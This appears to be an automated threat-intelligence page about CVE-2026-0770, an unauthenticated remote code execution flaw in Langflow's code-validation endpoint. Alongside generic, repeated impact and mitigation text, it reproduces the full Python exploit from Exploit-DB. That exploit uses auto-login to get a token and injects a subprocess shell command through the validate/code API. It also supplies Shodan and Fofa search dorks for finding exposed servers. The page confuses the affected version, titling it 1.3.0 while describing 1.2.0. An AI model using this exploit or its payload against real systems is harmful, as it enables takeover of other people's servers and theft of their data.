Langflow 1.3.0 - Remote Code Execution
Langflow version 1.2.0 contains a critical remote code execution vulnerability identified as CVE-2026-0770. This vulnerability allows an attacker to execute arbitrary code remotely on affected systems. Exploit code is publicly available in Python, increasing the risk of exploitation. The vulnerability specifically affects Langflow 1.2.0 running on Debian platforms.
AI Analysis
Technical Summary
CVE-2026-0770 is a remote code execution vulnerability in Langflow version 1.2.0. The vulnerability enables attackers to execute arbitrary code remotely, potentially compromising the affected system. Exploit code has been published and is written in Python. The vulnerability is documented in Exploit-DB under ID 52597 and was discovered by the author known as Diamorphine. The affected platform is Debian, and the product is hosted at https://github.com/langflow-ai/langflow.
Potential Impact
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on systems running Langflow 1.2.0 on Debian. This can lead to full system compromise, data theft, or disruption of service. No known exploits in the wild have been reported at this time.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Since no patch links or official fixes are provided, users should monitor the vendor's repository and advisories for updates. Until a fix is available, consider restricting network access to the affected service and applying other environment-specific controls to limit exposure.
Indicators of Compromise
- exploit-code: # Exploit Title: Langflow 1.3.0 - Remote Code Execution # Fofa-dork: title="Langflow" # Shodan-dork: title:"Langflow" # Date: 23-05-2026 # Exploit Author: Diamorphine # Venodor Homepage: https://www.langflow.org/ # Software Link: https://github.com/langflow-ai/langflow # Version: 1.2.0 # Tested on: Debian # CVE : CVE-2026-0770 # Description: Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication. # Usage: CVE-2026-0770.py -u 127.0.0.1 [-l USERNAME] [-p PASSWORD] [-c COMMAND] import httpx import asyncio import subprocess import json import sys import argparse def auth(host, username, password): with httpx.Client(verify=False) as client: data = { 'username': username, 'password': password } r = client.post(url=f'http://{host}:7860/api/v1/login', data=data) res = r.json() access_token = res["access_token"] return access_token async def exec_auth(host, username, password, cmd): async with httpx.AsyncClient(verify=False) as client: headers = { 'Authorization': f'Bearare {auth(host, username, password)}' } data = { "code":"\ndef exploit(\n _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n )\n):\n pass\n" % cmd } r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data) r_out = r.text output = json.loads(r_out) value = output['function'] try: print(value['errors'][0]) except IndexError: print("Index out of range") async def exec_without_auth(host, cmd): async with httpx.AsyncClient(verify=False) as client: req = await client.get(url=f'http://{host}:7860/api/v1/auto_login') res = req.json() access_token = res["access_token"] headers = { 'Authorization': f'Bearare {access_token}' } data = { "code":"\ndef exploit(\n _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n )\n):\n pass\n" % cmd } r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data) r_out = r.text output = json.loads(r_out) value = output['function'] try: print(value['errors'][0]) except IndexError: print("Index out of range") parser = argparse.ArgumentParser(description="Exploit for CVE-2026-0770 – Unauthenticated RCE in Langflow") parser.add_argument('-u', '--host', required=True, help="Target host, e.g 127.0.0.1") parser.add_argument('-l', '--login', help="Username for login, e.g user (If auto login not enabled)") parser.add_argument('-p', '--password', help="Password for login, e.g password (If auto login not enabled)") parser.add_argument('-c', '--command', default='id', help="Command for execute, e.g id, default: id") args = parser.parse_args() if args.login and args.password: asyncio.run(exec_auth(args.host, args.login, args.password, args.command)) else: asyncio.run(exec_without_auth(args.host, args.command))
Langflow 1.3.0 - Remote Code Execution
Description
Langflow version 1.2.0 contains a critical remote code execution vulnerability identified as CVE-2026-0770. This vulnerability allows an attacker to execute arbitrary code remotely on affected systems. Exploit code is publicly available in Python, increasing the risk of exploitation. The vulnerability specifically affects Langflow 1.2.0 running on Debian platforms.
Affected software
pkg:github/langflow-ai/langflowRun on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-0770 is a remote code execution vulnerability in Langflow version 1.2.0. The vulnerability enables attackers to execute arbitrary code remotely, potentially compromising the affected system. Exploit code has been published and is written in Python. The vulnerability is documented in Exploit-DB under ID 52597 and was discovered by the author known as Diamorphine. The affected platform is Debian, and the product is hosted at https://github.com/langflow-ai/langflow.
Potential Impact
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on systems running Langflow 1.2.0 on Debian. This can lead to full system compromise, data theft, or disruption of service. No known exploits in the wild have been reported at this time.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Since no patch links or official fixes are provided, users should monitor the vendor's repository and advisories for updates. Until a fix is available, consider restricting network access to the affected service and applying other environment-specific controls to limit exposure.
Technical Details
- Cve
- CVE-2026-0770
- Version
- 1.2.0
- Application
- https://github.com/langflow-ai/langflow
- Author
- Diamorphine
- Platform
- Debian
- Edb Id
- 52597
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Langflow 1.3.0 - Remote Code Execution
# Exploit Title: Langflow 1.3.0 - Remote Code Execution # Fofa-dork: title="Langflow" # Shodan-dork: title:"Langflow" # Date: 23-05-2026 # Exploit Author: Diamorphine # Venodor Homepage: https://www.langflow.org/ # Software Link: https://github.com/langflow-ai/langflow # Version: 1.2.0 # Tested on: Debian # CVE : CVE-2026-0770 # Description: Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validat... (3056 more characters)
Threat ID: 6a1a0debe29bf47b5017f5ba
Added to database: 05/29/2026, 22:06:35 UTC
Last enriched: 07/16/2026, 07:47:27 UTC
Last updated: 07/31/2026, 19:22:57 UTC
Views: 200
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.